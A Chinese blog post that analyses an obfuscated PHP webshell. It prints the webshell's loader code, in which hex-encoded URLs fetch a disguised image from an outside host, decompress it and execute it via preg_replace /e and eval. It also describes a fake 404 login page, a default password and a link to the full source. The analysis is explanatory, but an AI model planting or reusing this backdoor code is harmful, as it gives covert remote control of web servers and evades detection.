PHP后门新玩法:一款猥琐的PHP后门分析

本文是在鲜果订阅里看到来自freebuf站点的内容,而该文的原出处来自于360博客 。虽然本人对php代码的了解挺皮毛,不过感觉该木马的思路非常有意思 。出于围观和膜拜精神,现将该文内容做下摘录,并根据360上分析的步骤操作了一次。

phpwebshell代码如下:

?php
error_reporting(0);
session_start();
header(“Content-type:text/html;charset=utf-8″);if(empty(_SESSION['api']))_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码。不过原作者很警觉也很牛X,等我用360上的方法试的时候,代码解析出的结果已经变了,变成如下:

//http://require.duapp.com/v3.rar
    第二版代码如下
    问我叫什么?暂且叫我小e吧。。或者blackbin
    ";
    echo file_get_contents('http://require.duapp.com/index2.php');
}
// ?>

我按上面的提示去下载源代码时,发现提示403错误,file_get_contents获取的页面也是403禁止访问。源码360博客上也已经做了截图:http://blog.wangzhan.360.cn/wp-content/uploads/2014/03/w1.png ,不过后来我在github上还是找到了该webshell公布的代码,具体可以查看https://github.com/tennc/webshell/tree/master/php/blackbin 

下面继续360上的分析:分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,代码这里我粘一下吧:



    
    
    
    404 Not Found
    


   
   
Password:
HTML; if (_POST['pwd'] == true) {true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'), _POST['pwd'], true))); if ('true' ==true) { setcookie('key', _POST['pwd'], time() + 3600 * 24 * 30); exit('{"status":"on"}'); } else { exit('{"notice":"API-ERROR"}'); } } if (_COOKIE['key'] == true) { true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),_COOKIE['key'], true))); if ('true' == true) { if (_SESSION['code'] == null) { _SESSION['code'] = _REQUEST(sprintf("%s?%s",pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'),uniqid())); } else {_SESSION['code'] = _SESSION['code']; } eval(gzuncompress(gzuncompress(Crypt::decrypt(_SESSION['code'], _COOKIE['key'], true)))); } } if (_COOKIE['key'] == null) { echo str_replace('{self}', _SERVER["SCRIPT_NAME"],login); exit(); } } function _Content(fsock = null) {out = null; while (buff = @fgets(fsock, 2048)) { out .=buff; } fclose(fsock);pos = strpos(out, "rnrn");head = substr(out, 0,pos); //http head status = substr(head, 0, strpos(head, "rn")); //http status linebody = substr(out,pos + 4, strlen(out) - (pos + 4)); //page body if (preg_match("/^HTTP/d.ds([d]+)s.*/",status, matches)) { if (intval(matches[1]) / 100 == 2) { return body; } else { return false; } } else { return false; } } function _REQUEST(url) { url2 = parse_url(url); fsock_timeout = 30; //5 second if ((fsock = fsockopen(url2['host'], 80,errno, errstr,fsock_timeout)) < 0) { return false; } $request = $url2["path"]; $in = "GET " . $request . " HTTP/1.1rn"; $in .= "Accept: */*rn"; $in .= "User-Agent: E/1.0 EBSDrn"; $in .= "Host: " . $url2["host"] . "rn"; $in .= "Connection: Closernrn"; if (!@fwrite($fsock, $in, strlen($in))) { fclose($fsock); return false; } return _Content($fsock); } ?>

而在这段代码有一段关于document.onkeydown = function(e) …… block的js代码,这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键。所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

<a href="https://www.361way.com/wp-content/uploads/2014/03/w4.png"><img src="https://www.361way.com/wp-content/uploads/2014/03/w4.png" alt="w4" class="aligncenter size-full wp-image-3197" /></a>

而在该段代码的开始定义的两个函数encrypt、decrypt两处,可以看出程序用的是对称加密,并且将登陆密码作为加密key 。而init函数部分是对密码进行的一个认证,默认是demo123456,如果输入的结果是这个,则认证成功,否则失败。

而一旦认证成功,其又同前面一样,会请求出一个图片,pack出来的地址是:http://2012heike.googlecode.com/svn/trunk/code.jpg ,同样,最后会使用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容,文件内容就是我上面github里列出的code.php里的内容。这个没什么好说的,在360官方blog上也给出了截图 。

最后的总结,同样引用下360站点上的分析总结:这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注